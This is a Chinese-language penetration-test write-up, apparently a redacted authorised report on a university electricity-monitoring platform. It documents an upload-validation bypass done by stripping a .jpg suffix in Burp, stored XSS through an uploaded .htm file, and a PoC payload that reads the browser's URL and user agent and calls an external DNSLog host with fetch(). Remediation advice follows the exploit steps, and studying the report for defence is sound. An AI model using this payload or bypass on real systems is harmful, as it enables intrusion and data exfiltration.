EDU攻防实战:对山东某高校的线下打点渗透复盘③

考虑到内容的完整性和可读性,以下直接附上本次线下内网渗透的脱敏报告(部分内容由AI整理)


济南某高校智慧式用电监管平台高危漏洞测试报告

1. 漏洞概述

经授权测试,目标平台存在可组合利用的高危安全问题,具体包括:

  1. 文件上传校验可被绕过(仅前端限制,服务端校验不足)
  2. 上传后的 .htm 文件可被服务器直接解析执行
  3. 可形成存储型 XSS(持久化触发)
  4. 服务器具备外联出网能力

攻击者在无需高权限的情况下,可上传恶意 HTML 文件并触发持久化脚本执行,进而窃取敏感信息、控制受害者浏览器行为,且可借助出网能力进行进一步外联操作。综合评估风险等级为:高危

2. 影响范围

  • 济南某高校智慧式用电监管平台:http://10.XX.XX.196:18080
  • XXXXXXXXX用电监管系统

3. 复现过程

3.1 登录系统并定位上传功能

访问后台页面:
http://10.XX.XX.X91:18080/settingConfig

使用
中获取的账户uXXXXX 登录,进入可上传图片的业务页面。

step01_login_user1

3.2 验证正常图片上传行为

先上传一张本地 PNG 图片,返回包会回显文件访问路径。

step02_upload_png_echo_path

3.3 验证前端校验逻辑可绕过

继续上传本地 .php 文件时,页面提示“上传图片格式错误”,且抓包中未看到请求到达服务端,说明被前端逻辑拦截。

相关前端代码如下(仅校验 e.type):

beforeUpload: function(e) {
    if ("image/jpeg" === e.type || "image/png" === e.type) {
        this.imageUrl = URL.createObjectURL(e);
        this.srcList = [this.imageUrl];
        var t = e.size < 1024 * this.fileUploadMaxSize;
        return t || this.$Message.error(this.$t("imageUploadSizeLimitTip", {
            size: Math.floor(this.fileUploadMaxSize / 1024)
        })), t;
    }
    this.$Message.error(this.$t("uploadImgFormatError"));
},

该逻辑属于前端限制,无法替代服务端安全校验。

3.4 构造测试文件并准备上传

创建文本文件后重命名为:payload_poc.htm.jpg

写入测试用 HTML/JS 载荷(示例):

<!DOCTYPE html>
<html lang="zh-CN">
<head>
  <meta charset="UTF-8" />
  <title>PoC</title>
</head>
<body>
  <script>alert("测试XSS弹窗")</script>
  <h1>信息采集</h1>
  <p id="urlInfo"></p>
  <p id="uaInfo"></p>
  <input id="dnsSubdomain" placeholder="输入DNSLog子域名" />
  <button onclick="sendDnsRequest()">发送请求</button>

  <script>
    document.getElementById('urlInfo').textContent = 'URL: ' + location.href;
    document.getElementById('uaInfo').textContent = 'UA: ' + navigator.userAgent;

    function sendDnsRequest() {
      const subdomain = document.getElementById('dnsSubdomain').value.trim();
      if (!subdomain) return;
      const requestUrl = subdomain.startsWith('http') ? subdomain : `http://${subdomain}`;
      fetch(requestUrl, { mode: 'no-cors', cache: 'no-cache' });
    }
  </script>
</body>
</html>

同时,系统指纹识别为“XXX”系统(XXXXX科技)。

step03_system_fingerprint

3.5 通过 Burp 修改文件名后缀并重放请求

上传 payload_poc.htm.jpg 后,在 Burp 中将请求包 filename 中的 .jpg 后缀删除,再重放请求。

step04_burp_modify_filename

step05_upload_response

3.6 访问回显地址验证脚本执行

访问返回地址:
http://10.XX.XX.196:18080/upload/type_image/202603/XXXXXX99440.htm

可观察到页面内嵌脚本已执行(弹窗、浏览器信息读取等),符合存储型 XSS 的触发特征。

step06_xss_alert

step07_xss_browser_data

3.7 验证服务器出网能力

在页面中填入 DNSLog 子域名后,能够收到回连记录,确认目标服务器存在外联出网能力。

观测到公网 IP:XXX.XXX.XX.XXX

step08_dnslog_egress

4. 漏洞详情

漏洞点 成因 风险
上传校验绕过 仅依赖前端 e.type 限制,缺少服务端强校验 可绕过上传限制并投递恶意文件
恶意文件可执行 服务端允许并解析 .htm 文件 上传后可立即执行 HTML/JS 代码
存储型 XSS 恶意文件可长期存储并被访问 任意访问者可持续触发攻击脚本
服务器出网 服务端可访问外部域名/接口 可用于外联控制、信息泄露与横向攻击链扩展

5. 修复建议

  1. 在服务端实施严格白名单校验,联合验证文件头(Magic Number)、后缀、MIME,不允许上传 htm/html/asp/php/jsp 等可执行脚本文件。
  2. 将上传目录设置为不可执行,关闭脚本解析权限;上传内容与 Web 运行目录彻底隔离。
  3. 上传文件统一随机重命名,禁止使用用户可控文件名,避免后缀欺骗与直接路径访问。
  4. 对所有输出内容进行上下文相关转义(HTML/Attribute/JS),并过滤危险标签与事件处理器。
  5. 增加 CSP(Content Security Policy)与关键安全响应头,降低 XSS 利用成功率。
  6. 按最小权限原则收敛服务器外联能力,仅放行必要目标与端口。
  7. 升级XXX系统至厂商最新安全版本,并开展同类上传点与 XSS 点的专项排查。
  8. 完成一次覆盖未授权访问、文件上传、XSS 的全量安全复测,形成闭环整改记录。

6. 结论

该平台当前存在“上传绕过 + 文件解析执行 + 存储型 XSS + 服务器出网”组合风险。建议按高危事件流程优先整改上传与解析链路,并同步实施出网控制与整体安全加固。

温馨提示:本文内容仅用于合法授权的安全学习与研究交流,严禁用于未授权渗透测试、漏洞利用或任何违法行为。

涉及企业或平台的未公开漏洞信息,请遵循负责任披露原则,勿公开传播可直接复现的敏感细节。

如存在侵权、错误信息或不当内容,请联系站方处理,我们将及时核实并删除。邮箱:admin@baimaojianghu.com。